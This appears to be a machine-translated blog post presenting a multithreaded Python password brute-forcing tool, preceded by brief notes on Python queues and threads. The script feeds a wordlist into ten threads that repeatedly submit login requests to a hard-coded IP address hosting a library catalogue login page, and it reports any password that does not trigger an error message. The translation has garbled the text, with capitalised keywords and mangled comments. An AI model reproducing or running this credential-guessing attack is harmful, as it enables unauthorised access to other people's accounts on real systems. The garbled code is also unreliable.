Non-blocking Q.put (item) write queue, timeout wait time
Q.put_nowait (item) quite Q.put (item, False)
Threads Multithreading First import threading module, which is the premise of using multithreading
Appent put each thread in the threads list
Start
The join main thread waits for the child thread to complete.
#!/usr/bin/env python
#-*-Coding:utf-8-*-
Import Sys
Import requests
Import Queue
Import threading
Import time
# 1315935012
Username = sys.argv[1]
Password_file = sys.argv[2]
Queue = Queue.queue ()
f = open (Password_file)
For line in F.readlines ():
Queue.put (Line.strip ())
# Use account as password
Queue.put (username)
def checklogin (username, queue):
While not Queue.empty ():
Try
Password = queue.get_nowait () #当一个队列为空的时候如果再用get取则会堵塞, so it is usually used when taking the queue
The #get_nowait () method, which throws an empty exception when the value is taken to a null queue
#所以更常用的方法是先判断一个队列是否为空, if it is not empty, take a value
Except Queue.empty:
Break
#print Password
Url= "Http://122.207.221.227:8080/pages/opac/login/clientlogin.jsp"
query = {
' Callback ': "jquery17205871516966488435_1472197449413",
' username ': username,
' Password ': password,
' Logintype ': "Callno",
' _ ': ' 1472197524853 '
}
#print Query
Try
resp = requests.get (url, query)
Except
Queue.put (password)
resp.encoding = resp.apparent_encoding
If Resp.text.find (u "Password or login number error") = =-1 and Resp.text.find (U "reader not present") = =-1:
Print U "[*] Account:%s Password:%s"% (username, password)
Queue.queue.clear ()
Start_time = Time.time ()
Threads = []
For I in range (0, 10):
t = Threading. Thread (Target=checklogin, args= (Username,queue))
Threads.append (t)
T.setdaemon (True)
T.start ()
For T in Threads:
T.join ()
End_time = Time.time ()
Print U "Total time:%f"% (end_time-start_time)
Python Background blasting tool (multi-threaded)